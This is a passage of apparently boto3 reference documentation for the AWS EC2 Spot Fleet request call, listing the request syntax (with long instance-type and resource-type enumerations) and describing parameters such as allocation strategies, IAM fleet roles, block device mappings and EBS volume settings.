't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KernelId': 'string', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'NetworkInterfaces': \[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': \[ + 'string', + \], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': \[ + { + 'Ipv6Address': 'string' + }, + \], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': \[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + \], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + \], + 'Placement': { + 'AvailabilityZone': 'string', + 'GroupName': 'string', + 'Tenancy': 'default'|'dedicated'|'host' + }, + 'RamdiskId': 'string', + 'SpotPrice': 'string', + 'SubnetId': 'string', + 'UserData': 'string', + 'WeightedCapacity': 123.0, + 'TagSpecifications': \[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': \[ + { + 'Key': 'string', + 'Value': 'string' + }, + \] + }, + \] + }, + \], + 'LaunchTemplateConfigs': \[ + { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': \[ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'SpotPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0 + }, + \] + }, + \], + 'SpotPrice': 'string', + 'TargetCapacity': 123, + 'OnDemandTargetCapacity': 123, + 'OnDemandMaxTotalPrice': 'string', + 'SpotMaxTotalPrice': 'string', + 'TerminateInstancesWithExpiration': True|False, + 'Type': 'request'|'maintain'|'instant', + 'ValidFrom': datetime(2015, 1, 1), + 'ValidUntil': datetime(2015, 1, 1), + 'ReplaceUnhealthyInstances': True|False, + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate', + 'LoadBalancersConfig': { + 'ClassicLoadBalancersConfig': { + 'ClassicLoadBalancers': \[ + { + 'Name': 'string' + }, + \] + }, + 'TargetGroupsConfig': { + 'TargetGroups': \[ + { + 'Arn': 'string' + }, + \] + } + }, + 'InstancePoolsToUseCount': 123, + 'TagSpecifications': \[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': \[ + { + 'Key': 'string', + 'Value': 'string' + }, + \] + }, + \] + } +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **SpotFleetRequestConfig** (_dict_) -- + + **\[REQUIRED\]** + + The configuration for the Spot Fleet request. + + * **AllocationStrategy** _(string) --_ + + Indicates how to allocate the target Spot Instance capacity across the Spot Instance pools specified by the Spot Fleet request. + + If the allocation strategy is lowestPrice , Spot Fleet launches instances from the Spot Instance pools with the lowest price. This is the default allocation strategy. + + If the allocation strategy is diversified , Spot Fleet launches instances from all the Spot Instance pools that you specify. + + If the allocation strategy is capacityOptimized , Spot Fleet launches instances from Spot Instance pools with optimal capacity for the number of instances that are launching. + + * **OnDemandAllocationStrategy** _(string) --_ + + The order of the launch template overrides to use in fulfilling On-Demand capacity. If you specify lowestPrice , Spot Fleet uses price to determine the order, launching the lowest price first. If you specify prioritized , Spot Fleet uses the priority that you assign to each Spot Fleet launch template override, launching the highest priority first. If you do not specify a value, Spot Fleet defaults to lowestPrice . + + * **SpotMaintenanceStrategies** _(dict) --_ + + The strategies for managing your Spot Instances that are at an elevated risk of being interrupted. + + * **CapacityRebalance** _(dict) --_ + + The strategy to use when Amazon EC2 emits a signal that your Spot Instance is at an elevated risk of being interrupted. + + * **ReplacementStrategy** _(string) --_ + + The replacement strategy to use. Only available for fleets of type maintain . You must specify a value, otherwise you get an error. + + To allow Spot Fleet to launch a replacement Spot Instance when an instance rebalance notification is emitted for a Spot Instance in the fleet, specify launch . + + Note + + When a replacement instance is launched, the instance marked for rebalance is not automatically terminated. You can terminate it, or you can leave it running. You are charged for all instances while they are running. + + * **ClientToken** _(string) --_ + + A unique, case-sensitive identifier that you provide to ensure the idempotency of your listings. This helps to avoid duplicate listings. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + * **ExcessCapacityTerminationPolicy** _(string) --_ + + Indicates whether running Spot Instances should be terminated if you decrease the target capacity of the Spot Fleet request below the current size of the Spot Fleet. + + * **FulfilledCapacity** _(float) --_ + + The number of units fulfilled by this request compared to the set target capacity. You cannot set this value. + + * **OnDemandFulfilledCapacity** _(float) --_ + + The number of On-Demand units fulfilled by this request compared to the set target On-Demand capacity. + + * **IamFleetRole** _(string) --_ **\[REQUIRED\]** + + The Amazon Resource Name (ARN) of an AWS Identity and Access Management (IAM) role that grants the Spot Fleet the permission to request, launch, terminate, and tag instances on your behalf. For more information, see [Spot Fleet prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet-requests.html#spot-fleet-prerequisites) in the _Amazon EC2 User Guide for Linux Instances_ . Spot Fleet can terminate Spot Instances on your behalf when you cancel its Spot Fleet request using [CancelSpotFleetRequests](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CancelSpotFleetRequests) or when the Spot Fleet request expires, if you set TerminateInstancesWithExpiration . + + * **LaunchSpecifications** _(list) --_ + + The launch specifications for the Spot Fleet request. If you specify LaunchSpecifications , you can't specify LaunchTemplateConfigs . If you include On-Demand capacity in your request, you must use LaunchTemplateConfigs . + + * _(dict) --_ + + Describes the launch specification for one or more Spot Instances. If you include On-Demand capacity in your fleet request or want to specify an EFA network device, you can't use SpotFleetLaunchSpecification ; you must use [LaunchTemplateConfig](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_LaunchTemplateConfig.html) . + + * **SecurityGroups** _(list) --_ + + One or more security groups. When requesting instances in a VPC, you must specify the IDs of the security groups. When requesting instances in EC2-Classic, you can specify the names or the IDs of the security groups. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **AddressingType** _(string) --_ + + Deprecated. + + * **BlockDeviceMappings** _(list) --_ + + One or more block devices that are mapped to the Spot Instances. You can't specify both a snapshot ID and an encryption value. This is because only blank volumes can be encrypted on creation. If a snapshot is the basis for a volume, it is not blank and its encryption status is used for the volume encryption status. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instances are optimized for EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + Default: false + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + + * **ImageId** _(string) --_ + + The ID of the AMI. + + * **InstanceType** _(string) --_ + + The instance type. + + * **KernelId** _(string) --_ + + The ID of the kernel. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **Monitoring** _(dict) --_ + + Enable or disable monitoring for the instances. + + * **Enabled** _(boolean) --_ + 